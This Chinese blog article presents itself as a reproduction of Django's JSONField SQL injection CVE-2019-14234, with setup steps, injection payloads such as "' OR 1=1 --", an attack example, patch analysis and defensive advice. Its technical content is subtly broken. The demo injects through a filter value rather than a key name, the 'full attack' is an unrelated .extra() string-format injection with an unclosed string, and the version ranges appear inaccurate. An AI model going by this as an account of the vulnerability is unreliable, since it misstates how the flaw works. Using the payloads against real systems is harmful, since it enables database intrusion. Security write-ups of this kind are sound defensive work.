Django JSONField SQL注入漏洞CVE-2019-14234的复现是怎样的

发布时间:2021-12-14 10:36:25 作者:柒染
来源:亿速云 阅读:235
# Django JSONField SQL注入漏洞CVE-2019-14234的复现分析

## 漏洞概述

CVE-2019-14234是Django框架在2019年披露的一个高危SQL注入漏洞,影响使用JSONField/HStoreField的PostgreSQL数据库场景。该漏洞允许攻击者通过精心构造的查询参数绕过Django的SQL注入防护机制,直接执行恶意SQL语句。

### 受影响版本
- Django 1.11.x < 1.11.27
- Django 2.2.x < 2.2.9
- Django 3.0.x < 3.0.1

### 漏洞原理
漏洞源于Django对JSONField键名(key)的处理不当。当使用`QuerySet`的`filter()`、`exclude()`等方法时,未正确转义用户提供的键名参数,导致攻击者可以注入SQL表达式。

## 环境搭建

### 1. 准备测试环境
```bash
# 使用Docker快速搭建环境
docker run --name django-pg -e POSTGRES_PASSWORD=password -p 5432:5432 -d postgres

2. 安装受影响版本

pip install django==2.2.8 psycopg2-binary

3. 创建测试项目

# models.py
from django.db import models
from django.contrib.postgres.fields import JSONField

class UserData(models.Model):
    name = models.CharField(max_length=100)
    data = JSONField(default=dict)

4. 初始化数据库

python manage.py makemigrations
python manage.py migrate

漏洞复现步骤

正常查询示例

# 安全查询
UserData.objects.filter(data__key='value')
# 生成SQL:WHERE "data" -> 'key' = 'value'

恶意注入演示

# 构造恶意查询
UserData.objects.filter(data__malicious_key="' OR 1=1 --")
# 实际生成SQL:
# WHERE "data" -> 'malicious_key' = '' OR 1=1 --'

完整攻击示例

from vuln_app.models import UserData

# 插入测试数据
UserData.objects.create(name='test', data={'secret': '123'})

# 攻击者构造的恶意输入
injection = """' = '' OR 1=1) --
malicious_result = UserData.objects.extra(
    where=["data::text LIKE '%%%s%%'" % injection]
)

# 将返回所有记录
print(malicious_result)  

技术深度分析

漏洞触发点

漏洞核心在django/contrib/postgres/fields/jsonb.py中的KeyTransform类:

class KeyTransform(Transform):
    operator = '->'
    nested_operator = '#>'

    def __init__(self, key_name, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.key_name = key_name  # 未充分过滤的键名

PostgreSQL JSON操作符特性

Django使用PostgreSQL的->操作符查询JSON字段,该操作符的右操作数直接拼接SQL语句:

-- 正常使用
SELECT * FROM table WHERE data->'key' = 'value';

-- 注入场景
SELECT * FROM table WHERE data->'injected' OR 1=1 --' = 'value';

修复方案

官方补丁分析

Django在修复版本中做了以下改进:

  1. 引入KeyTransformas_sql()方法严格转义:
def as_sql(self, compiler, connection):
    key_transforms = [self.key_name]
    ...
    return "(%s %s %%s)" % (lhs, self.operator), params
  1. 使用参数化查询替代字符串拼接

升级建议

pip install --upgrade django>=2.2.9

防御措施

  1. 输入验证
from django.core.exceptions import ValidationError

def validate_json_key(value):
    if not re.match(r'^[a-zA-Z0-9_]+$', value):
        raise ValidationError('Invalid JSON key name')
  1. 使用ORM安全方法
# 安全方式
UserData.objects.filter(data__contains={'key': 'value'})
  1. 最小权限原则:数据库用户应仅具有必要权限

总结

CVE-2019-14234展示了ORM层可能存在的安全隐患,即使是Django这样成熟的框架也可能在特定功能实现上出现疏漏。这提醒我们:

  1. 始终关注框架安全更新
  2. 对用户提供的任何数据保持警惕
  3. 深度防御策略的重要性
  4. 定期进行安全审计

附录:相关资源 - Django官方安全公告 - CVE详细报告 - PostgreSQL JSON函数文档 “`

推荐阅读:
  1. 怎么在python中使用Django防止SQL注入
  2. django索引的示例分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

django jsonfield sql

上一篇:如何不用node.js完成数据的可视化展示

下一篇:计算机中正常关机后为什么要开机自动检测硬盘

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》